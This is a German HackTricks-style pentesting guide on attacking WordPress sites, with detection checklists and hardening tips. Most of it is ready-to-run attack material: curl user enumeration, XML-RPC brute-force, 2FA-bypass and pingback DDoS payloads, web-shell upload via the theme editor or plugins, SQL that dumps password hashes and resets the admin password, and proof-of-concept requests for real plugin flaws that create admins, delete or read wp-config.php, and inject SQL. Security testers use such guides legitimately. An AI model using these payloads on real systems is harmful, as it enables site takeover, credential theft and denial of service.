Wordpress
Reading time: 33 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
-
Hochgeladene Dateien landen unter:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Theme-Dateien befinden sich in /wp-content/themes/, daher, wenn du etwas PHP des Themes änderst, um RCE zu bekommen, wirst du wahrscheinlich diesen Pfad verwenden. Zum Beispiel: Beim Verwenden des theme twentytwelve kannst du die 404.php Datei erreichen unter: /wp-content/themes/twentytwelve/404.php
-
Eine weitere nützliche URL könnte sein: /wp-content/themes/default/404.php
-
In wp-config.php kannst du das Root-Passwort der Datenbank finden.
-
Standard-Login-Pfade zum Überprüfen: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Haupt-WordPress-Dateien
index.php
license.txt
enthält nützliche Informationen wie die installierte WordPress-Version.wp-activate.php
wird für den E-Mail-Aktivierungsprozess bei der Einrichtung einer neuen WordPress-Seite verwendet.- Login-Ordner (können umbenannt sein, um sie zu verstecken):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
ist eine Datei, die eine Funktion von WordPress darstellt, die das Übertragen von Daten mit HTTP als Transportmechanismus und XML als Kodierungsmechanismus ermöglicht. Diese Art der Kommunikation wurde durch die WordPress REST API ersetzt.- Der Ordner
wp-content
ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert werden. wp-content/uploads/
ist das Verzeichnis, in dem alle auf die Plattform hochgeladenen Dateien gespeichert werden.wp-includes/
Dies ist das Verzeichnis, in dem Core-Dateien gespeichert sind, wie Zertifikate, Schriftarten, JavaScript-Dateien und Widgets.wp-sitemap.xml
In WordPress-Versionen 5.5 und höher generiert WordPress eine sitemap XML-Datei mit allen öffentlichen Posts und öffentlich abfragbaren Post-Typen und Taxonomien.
Post exploitation
- Die Datei
wp-config.php
enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie den Datenbanknamen, Datenbankhost, Benutzername und Passwort, Authentifizierungs-Keys und Salts sowie das Präfix der Datenbanktabellen. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche nützlich sein kann.
Benutzerberechtigungen
- Administrator
- Editor: Veröffentlicht und verwaltet seine und andere Beiträge
- Author: Veröffentlicht und verwaltet seine eigenen Beiträge
- Contributor: Schreibt und verwaltet seine Beiträge, kann sie aber nicht veröffentlichen
- Subscriber: Durchsucht Beiträge und bearbeitet sein Profil
Passive Aufklärung
WordPress-Version herausfinden
Überprüfe, ob du die Dateien /license.txt
oder /readme.html
finden kannst
Innerhalb des source code der Seite (Beispiel von https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS-Link-Dateien
- JavaScript-Dateien
Plugins herunterladen
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Themes abrufen
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Versionen allgemein extrahieren
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Active enumeration
Plugins and Themes
Du wirst wahrscheinlich nicht in der Lage sein, alle möglichen Plugins und Themes zu finden. Um alle zu entdecken, musst du aktiv per Brute Force eine Liste von Plugins und Themes erstellen (hoffentlich gibt es für uns automatisierte Tools, die diese Listen enthalten).
Benutzer
- ID Brute: Du erhältst gültige Benutzer von einer WordPress-Seite durch Brute Forcing der Benutzer-IDs:
curl -s -I -X GET http://blog.example.com/?author=1
Wenn die Antworten 200 oder 30X sind, bedeutet das, dass die id gültig ist. Wenn die Antwort 400 ist, dann ist die id ungültig.
- wp-json: Du kannst auch versuchen, Informationen über die Benutzer zu erhalten, indem du abfragst:
curl http://blog.example.com/wp-json/wp/v2/users
Ein weiterer /wp-json/
endpoint, der einige Informationen über Benutzer preisgeben kann, ist:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Beachte, dass dieser Endpoint nur Benutzer offenlegt, die einen Beitrag veröffentlicht haben. Es werden nur Informationen über Benutzer bereitgestellt, die diese Funktion aktiviert haben.
Beachte außerdem, dass /wp-json/wp/v2/pages IP-Adressen leak.
- Login username enumeration: Beim Einloggen in
/wp-login.php
ist die Meldung anders, je nachdem, ob der Benutzername existiert oder nicht.
XML-RPC
Wenn xml-rpc.php
aktiv ist, kannst du eine credentials brute-force durchführen oder es verwenden, um DoS-Angriffe auf andere Ressourcen zu starten. (You can automate this process using this for example).
Um zu prüfen, ob es aktiv ist, versuche, auf /xmlrpc.php zuzugreifen und diese Anfrage zu senden:
Überprüfen
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Credentials Bruteforce
wp.getUserBlogs
, wp.getCategories
oder metaWeblog.getUsersBlogs
sind einige der Methoden, die verwendet werden können, um Credentials zu brute-force. Wenn Sie eines davon finden, können Sie etwas wie Folgendes senden:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Die Meldung "Incorrect username or password" innerhalb einer HTTP-200-Antwort sollte erscheinen, wenn die Zugangsdaten nicht gültig sind.
Mit den korrekten Zugangsdaten können Sie eine Datei hochladen. In der Antwort wird der Pfad angezeigt (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Außerdem gibt es einen schnelleren Weg, um brute-force credentials mit system.multicall
durchzuführen, da du mehrere credentials in derselben Anfrage ausprobieren kannst:
.png)
Bypass 2FA
Diese Methode ist für Programme gedacht und nicht für Menschen und ist alt; daher unterstützt sie 2FA nicht. Wenn du also gültige creds hast, aber der Haupteingang durch 2FA geschützt ist, kannst du xmlrpc.php missbrauchen, um dich mit diesen creds einzuloggen und 2FA zu umgehen. Beachte, dass du nicht alle Aktionen ausführen kannst, die über die Konsole möglich sind, aber du könntest trotzdem RCE erreichen, wie Ippsec in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s erklärt.
DDoS oder port scanning
Wenn du die Methode pingback.ping in der Liste findest, kannst du Wordpress dazu bringen, eine beliebige Anfrage an einen beliebigen host/port zu senden.
Dies kann verwendet werden, um Tausende von Wordpress Websites anzuweisen, auf einen Ort zu zugreifen (wodurch an diesem Ort ein DDoS verursacht wird) oder du kannst es nutzen, um Wordpress ein internes Netzwerk scannen zu lassen (du kannst jeden Port angeben).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Wenn du faultCode mit einem Wert größer als 0 (17) erhältst, bedeutet das, dass der Port offen ist.
Sieh dir die Verwendung von system.multicall
im vorherigen Abschnitt an, um zu lernen, wie man diese Methode missbraucht, um DDoS zu verursachen.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Diese Datei befindet sich normalerweise im Stammverzeichnis der Wordpress-Seite: /wp-cron.php
Wenn diese Datei aufgerufen wird, wird eine ressourcenintensive MySQL Abfrage ausgeführt, sodass sie von Angreifern dazu verwendet werden kann, einen DoS zu verursachen.
Außerdem wird standardmäßig die wp-cron.php
bei jedem Seitenaufruf (immer wenn ein Client irgendeine Wordpress-Seite anfordert) ausgeführt, was auf stark frequentierten Seiten Probleme (DoS) verursachen kann.
Es wird empfohlen, Wp-Cron zu deaktivieren und stattdessen einen echten cronjob auf dem Host zu erstellen, der die benötigten Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen).
/wp-json/oembed/1.0/proxy - SSRF
Versuche, https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net aufzurufen, und die Worpress-Seite könnte eine Anfrage an dich senden.
This is the response when it doesn't work:
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Dieses Tool prüft, ob der methodName: pingback.ping vorhanden ist und ob der Pfad /wp-json/oembed/1.0/proxy existiert; falls ja, versucht es, diese auszunutzen.
Automatische Tools
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Zugriff durch Überschreiben eines Bits
Mehr als ein echter Angriff ist das eher eine Kuriosität. Im CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man konnte man 1 Bit in jeder wordpress-Datei umschalten. Dadurch konnte man an Position 5389
der Datei /var/www/html/wp-includes/user.php
die NOT-Operation (!
) in ein NOP verwandeln.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Eine php-Datei des verwendeten Themes ändern (Admin-Zugangsdaten benötigt)
Appearance → Theme Editor → 404 Template (rechts)
Den Inhalt durch eine php-Shell ersetzen:
Suche im Internet, wie du auf die aktualisierte Seite zugreifen kannst. In diesem Fall musst du hier zugreifen: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Du kannst verwenden:
use exploit/unix/webapp/wp_admin_shell_upload
um eine Session zu bekommen.
Plugin RCE
PHP plugin
Es kann möglich sein, .php-Dateien als Plugin hochzuladen.
Erstelle deine php-Backdoor zum Beispiel mit:
Füge dann ein neues Plugin hinzu:
Plugin hochladen und auf Install Now klicken:
Klicke auf Procced:
Wahrscheinlich wird scheinbar nichts passieren, aber wenn du zu Media gehst, siehst du deine hochgeladene shell:
Öffne sie und du wirst die URL sehen, um die reverse shell auszuführen:
Uploading and activating malicious plugin
Diese Methode beinhaltet die Installation eines bekannten verwundbaren und ausnutzbaren bösartigen Plugins, um eine web shell zu erhalten. Dieser Vorgang wird über das WordPress dashboard wie folgt durchgeführt:
- Plugin Acquisition: Das Plugin wird aus einer Quelle wie Exploit DB bezogen, z. B. here.
- Plugin Installation:
- Navigiere zum WordPress dashboard, dann zu
Dashboard > Plugins > Upload Plugin
. - Lade die Zip-Datei des heruntergeladenen Plugins hoch.
- Plugin Activation: Sobald das Plugin erfolgreich installiert ist, muss es über das Dashboard aktiviert werden.
- Exploitation:
- Mit installiertem und aktiviertem Plugin "reflex-gallery" kann dieses ausgenutzt werden, da es als verwundbar bekannt ist.
- Das Metasploit framework bietet einen Exploit für diese Verwundbarkeit. Durch Laden des passenden Moduls und Ausführen spezifischer Befehle kann eine meterpreter-Session hergestellt werden, die unbefugten Zugriff auf die Seite ermöglicht.
- Dies ist nur eine von vielen Methoden, um eine WordPress-Seite auszunutzen.
Der Inhalt enthält visuelle Hilfen, die die Schritte im WordPress dashboard zum Installieren und Aktivieren des Plugins zeigen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Verwundbarkeiten auf diese Weise ohne ausdrückliche Genehmigung illegal und unethisch ist. Diese Informationen sollten verantwortungsvoll und nur in einem legalen Kontext verwendet werden, z. B. bei Penetrationstests mit ausdrücklicher Erlaubnis.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike ist ein Script, das dazu entwickelt wurde, eine Cross-Site Scripting (XSS)-Vulnerability zu Remote Code Execution (RCE) oder anderen kritischen Verwundbarkeiten in WordPress zu eskalieren. Für mehr Informationen siehe this post. Es bietet Support für Wordpress Versions 6.X.X, 5.X.X und 4.X.X und erlaubt:
- Privilege Escalation: Erstellt einen User in WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Lädt dein custom Plugin (Backdoor) in WordPress hoch.
- (RCE) Built-In Plugin Edit: Editiert eingebaute Plugins in WordPress.
- (RCE) Built-In Theme Edit: Editiert eingebaute Themes in WordPress.
- (Custom) Custom Exploits: Custom Exploits für Third-Party WordPress Plugins/Themes.
Post Exploitation
Benutzernamen und Passwörter extrahieren:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Admin-Passwort ändern:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Angriffsfläche
Zu wissen, wie ein Wordpress-Plugin Funktionalität nach außen legt, ist entscheidend, um Schwachstellen in dieser Funktionalität zu finden. Sie können sehen, wie ein Plugin Funktionalität exponieren kann, in den folgenden Aufzählungspunkten und einige Beispiele verwundbarer Plugins in this blog post.
wp_ajax
Eine Möglichkeit, wie ein Plugin Funktionen für Benutzer offenlegt, sind AJAX-Handler. Diese können Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Außerdem ist es ziemlich häufig, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress-Nonce stützen, das jeder im Wordpress-System authentifizierte Benutzer haben könnte (unabhängig von seiner Rolle).
Dies sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin offenzulegen:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Die Verwendung von nopriv
macht den Endpoint für alle Benutzer zugänglich (auch für nicht authentifizierte).
caution
Außerdem, wenn die Funktion die Autorisierung des Benutzers nur mit der Funktion wp_verify_nonce
prüft, stellt diese nur fest, dass der Benutzer eingeloggt ist; sie prüft normalerweise nicht die Rolle des Benutzers. Daher könnten Benutzer mit niedrigen Rechten Zugriff auf Aktionen mit hohen Rechten erhalten.
- REST API
Es ist auch möglich, Funktionen von wordpress offenzulegen, indem man eine REST API mit der Funktion register_rest_route
registriert:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
Die permission_callback
ist eine Callback-Funktion, die prüft, ob ein bestimmter Benutzer berechtigt ist, die API-Methode aufzurufen.
Wenn die eingebaute Funktion __return_true
verwendet wird, überspringt sie einfach die Benutzerberechtigungsprüfung.
- Direkter Zugriff auf die php-Datei
Natürlich verwendet Wordpress PHP und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Wenn also ein Plugin eine verwundbare Funktionalität bereitstellt, die allein durch den Zugriff auf die Datei ausgelöst wird, kann sie von jedem Benutzer ausgenutzt werden.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Einige Plugins implementieren „trusted header“-Shortcuts für interne Integrationen oder reverse proxies und verwenden dann diesen Header, um den aktuellen Benutzerkontext für REST-Anfragen zu setzen. Wenn der Header nicht kryptografisch an die Anfrage durch eine upstream component gebunden ist, kann ein Angreifer ihn fälschen und privilegierte REST-Routen als Administrator ansprechen.
- Auswirkung: unauthenticated privilege escalation to admin durch die Erstellung eines neuen Administrators über die core users REST route.
- Beispiel-Header:
X-Wcpay-Platform-Checkout-User: 1
(erzwingt User-ID 1, typischerweise das erste Administrator-Konto). - Ausgenutzte Route:
POST /wp-json/wp/v2/users
mit einem elevated role array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Warum es funktioniert
- Das Plugin mappt einen vom Client kontrollierten Header auf den Authentifizierungsstatus und überspringt Berechtigungsprüfungen.
- Der WordPress-Core erwartet die
create_users
-Capability für diese Route; der Plugin-Hack umgeht dies, indem er den aktuellen Benutzerkontext direkt aus dem Header setzt.
Erwartete Erfolgshinweise
- HTTP 201 mit einem JSON-Body, der den erstellten Benutzer beschreibt.
- Ein neuer Admin-Benutzer sichtbar in
wp-admin/users.php
.
Erkennungs-Checkliste
- Grep nach
getallheaders()
,$_SERVER['HTTP_...']
, oder vendor SDKs, die benutzerdefinierte Header lesen, um den Benutzerkontext zu setzen (z. B.wp_set_current_user()
,wp_set_auth_cookie()
). - Überprüfe REST-Registrierungen auf privilegierte Callbacks, die keine robusten
permission_callback
-Prüfungen haben und stattdessen auf Request-Header vertrauen. - Suche nach Verwendungen von Core-User-Management-Funktionen (
wp_insert_user
,wp_create_user
) in REST-Handlern, die nur durch Header-Werte geschützt sind.
Nicht authentifizierte beliebige Dateilöschung über wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress-Themes und -Plugins machen häufig AJAX-Handler über die Hooks wp_ajax_
und wp_ajax_nopriv_
verfügbar. Wenn die nopriv-Variante verwendet wird ist der Callback für nicht authentifizierte Besucher erreichbar, daher muss jede sensible Aktion zusätzlich implementieren:
- Eine Capability-Prüfung (z. B.
current_user_can()
oder zumindestis_user_logged_in()
), und - Eine CSRF-Nonce validiert mit
check_ajax_referer()
/wp_verify_nonce()
, und - Strikte Eingabesanitisierung / -validierung.
Das Litho-Multipurpose-Theme (< 3.1) hat diese 3 Kontrollen in der Remove Font Family Funktion vergessen und lieferte schließlich den folgenden Code (vereinfacht):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Issues introduced by this snippet:
- Nicht authentifizierter Zugriff – the
wp_ajax_nopriv_
hook is registered. - No nonce / capability check – jeder Besucher kann den Endpunkt aufrufen.
- No path sanitisation – der vom Benutzer kontrollierte
fontfamily
-String wird ohne Filter an einen Dateisystempfad angehängt, was klassisches../../
Traversal ermöglicht.
Exploitation
Ein Angreifer kann jede Datei oder jedes Verzeichnis unterhalb des uploads-Stammverzeichnisses (normally <wp-root>/wp-content/uploads/
) indem er eine einzelne HTTP POST-Anfrage sendet:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Weil wp-config.php
außerhalb von uploads liegt, reichen auf einer Standardinstallation vier ../
-Sequenzen. Das Löschen von wp-config.php
zwingt WordPress beim nächsten Besuch in den Installation Wizard, wodurch eine vollständige Übernahme der Seite möglich wird (der Angreifer liefert lediglich eine neue DB-Konfiguration und erstellt einen Admin-Benutzer).
Andere wirkungsvolle Ziele umfassen plugin/theme .php
files (um Sicherheits-Plugins zu umgehen) oder .htaccess
-Regeln.
Erkennungs-Checkliste
- Jede
add_action( 'wp_ajax_nopriv_...')
Callback-Funktion, die Dateisystem-Helfer (copy()
,unlink()
,$wp_filesystem->delete()
, etc.) aufruft. - Konkatenation unsanitierter Benutzereingaben in Pfaden (nach
$_POST
,$_GET
,$_REQUEST
suchen). - Fehlendes
check_ajax_referer()
undcurrent_user_can()
/is_user_logged_in()
.
Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Viele Plugins implementieren eine "view as role" oder temporäre Rollenwechsel-Funktion, indem sie die ursprünglichen Rolle(n) in user meta speichern, damit sie später wiederhergestellt werden können. Wenn der Wiederherstellungspfad ausschließlich auf Request-Parametern (z.B. $_REQUEST['reset-for']
) und einer vom Plugin verwalteten Liste beruht, ohne Capabilities und ein gültiges Nonce zu prüfen, führt das zu einer vertical privilege escalation.
Ein reales Beispiel wurde im Admin and Site Enhancements (ASE) Plugin (≤ 7.6.2.1) gefunden. Der Reset-Zweig stellte Rollen basierend auf reset-for=<username>
wieder her, wenn der Benutzername in einem internen Array $options['viewing_admin_as_role_are']
erschien, führte jedoch weder einen current_user_can()
-Check noch eine Nonce-Verifizierung durch, bevor die aktuellen Rollen entfernt und die in user meta _asenha_view_admin_as_original_roles
gespeicherten Rollen erneut hinzugefügt wurden:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Warum es ausnutzbar ist
- Vertraut
$_REQUEST['reset-for']
und einer Plugin-Option ohne serverseitige Autorisierung. - Wenn ein Benutzer zuvor höhere Privilegien in
_asenha_view_admin_as_original_roles
gespeichert hatte und herabgestuft wurde, kann er diese wiederherstellen, indem er den Reset-Pfad aufruft. - In manchen Deployments konnte jeder authentifizierte Benutzer einen Reset für einen anderen Benutzernamen auslösen, der noch in
viewing_admin_as_role_are
vorhanden ist (fehlerhafte Autorisierung).
Exploitation (example)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Auf verwundbaren Builds entfernt dies die aktuellen Rollen und fügt die gespeicherten ursprünglichen Rollen (z. B. administrator
) wieder hinzu, wodurch effektiv Privilegien eskaliert werden.
Detection checklist
- Achte auf role-switching-Features, die “original roles” in user meta persistieren (z. B.
_asenha_view_admin_as_original_roles
). - Identifiziere Reset-/Restore-Pfade, die:
- Lese Benutzernamen aus
$_REQUEST
/$_GET
/$_POST
. - Ändere Rollen via
add_role()
/remove_role()
ohnecurrent_user_can()
undwp_verify_nonce()
/check_admin_referer()
. - Authorisiere basierend auf einem Plugin-Options-Array (z. B.
viewing_admin_as_role_are
) statt auf den Fähigkeiten des Akteurs.
Nicht authentifizierte Privilegieneskalation durch cookie‑vertrauenswürdiges User-Switching am öffentlichen init (Service Finder “sf-booking”)
Einige Plugins hängen user-switching-Hilfsfunktionen an den öffentlichen init
-Hook und leiten die Identität aus einem vom Client kontrollierten Cookie ab. Ruft der Code wp_set_auth_cookie()
auf, ohne Authentifizierung, capability und ein gültiges nonce zu prüfen, kann jeder nicht authentifizierte Besucher eine Anmeldung als beliebige Benutzer-ID erzwingen.
Typisches verwundbares Muster (vereinfacht aus Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Warum es ausnutzbar ist
- Öffentlicher
init
Hook macht den Handler für nicht authentifizierte Benutzer erreichbar (keinis_user_logged_in()
-Schutz). - Die Identität wird aus einem vom Client veränderbaren Cookie (
original_user_id
) abgeleitet. - Ein direkter Aufruf von
wp_set_auth_cookie($uid)
meldet den Anfragenden als diesen Benutzer an, ohne Capability-/Nonce-Prüfungen.
Ausnutzung (nicht authentifiziert)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WAF-Überlegungen für WordPress-/Plugin-CVEs
Generische Edge-/Server-WAFs sind auf breite Muster (SQLi, XSS, LFI) ausgelegt. Viele hochkritische WordPress-/Plugin-Schwachstellen sind anwendungsspezifische Logik-/auth-Bugs, die wie harmloser Traffic aussehen, sofern die Engine nicht WordPress-Routen und Plugin-Semantik versteht.
Offensive Hinweise
- Ziele plugin-spezifische Endpunkte mit sauberen payloads:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - Teste zuerst unauth-Pfade (AJAX
nopriv
, REST mit permissivempermission_callback
, öffentliche shortcodes). Default payloads gelingen oft ohne obfuscation. - Typische hochkritische Fälle: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive Hinweise
- Verlass dich nicht auf generische WAF-Signaturen zum Schutz von Plugin-CVEs. Implementiere auf Anwendungsebene abgestimmte, schwachstellenspezifische virtuelle Patches oder aktualisiere schnell.
- Bevorzuge positive-security-Prüfungen im Code (capabilities, nonces, strikte Input-Validierung) statt negativer regex-Filter.
WordPress-Schutz
Regelmäßige Updates
Stelle sicher, dass WordPress, Plugins und Themes auf dem neuesten Stand sind. Bestätige außerdem, dass automatisches Aktualisieren in wp-config.php aktiviert ist:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Also, installiere außerdem nur vertrauenswürdige WordPress-Plugins und Themes.
Sicherheits-Plugins
Weitere Empfehlungen
- Entferne den Standardbenutzer admin
- Verwende starke Passwörter und 2FA
- Überprüfe regelmäßig die Berechtigungen der Benutzer
- Begrenze Login-Versuche, um Brute Force attacks zu verhindern
- Benenne die Datei
wp-admin.php
um und erlaube den Zugriff nur intern oder von bestimmten IP-Adressen.
Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
Das WP Job Portal recruitment plugin stellte eine savecategory-Aufgabe zur Verfügung, die letztendlich den folgenden verwundbaren Code in modules/category/model.php::validateFormData()
ausführt:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Probleme, die durch diesen Ausschnitt entstehen:
- Unsanitised user input –
parentid
kommt direkt aus der HTTP-Anfrage. - String concatenation inside the WHERE clause – keine
is_numeric()
/esc_sql()
/ prepared statement. - Unauthenticated reachability – obwohl die Aktion über
admin-post.php
ausgeführt wird, ist die einzige vorhandene Kontrolle ein CSRF nonce (wp_verify_nonce()
), den jeder Besucher von einer öffentlichen Seite mit dem Shortcode[wpjobportal_my_resumes]
abrufen kann.
Exploitation
- Grab a fresh nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Inject arbitrary SQL by abusing
parentid
:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Die Antwort gibt das Ergebnis der injizierten Abfrage preis oder verändert die Datenbank, was SQLi beweist.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Eine weitere Aufgabe, downloadcustomfile, erlaubte Besuchern, jede Datei auf der Festplatte via path traversal herunterzuladen. Die verwundbare Stelle befindet sich in modules/customfield/model.php::downloadCustomUploadedFile()
:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
wird vom Angreifer kontrolliert und ohne Sanitierung verkettet. Wieder ist die einzige Hürde ein CSRF nonce, das von der resume page abgerufen werden kann.
Ausnutzung
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Der Server antwortet mit dem Inhalt von wp-config.php
, leaking DB credentials and auth keys.
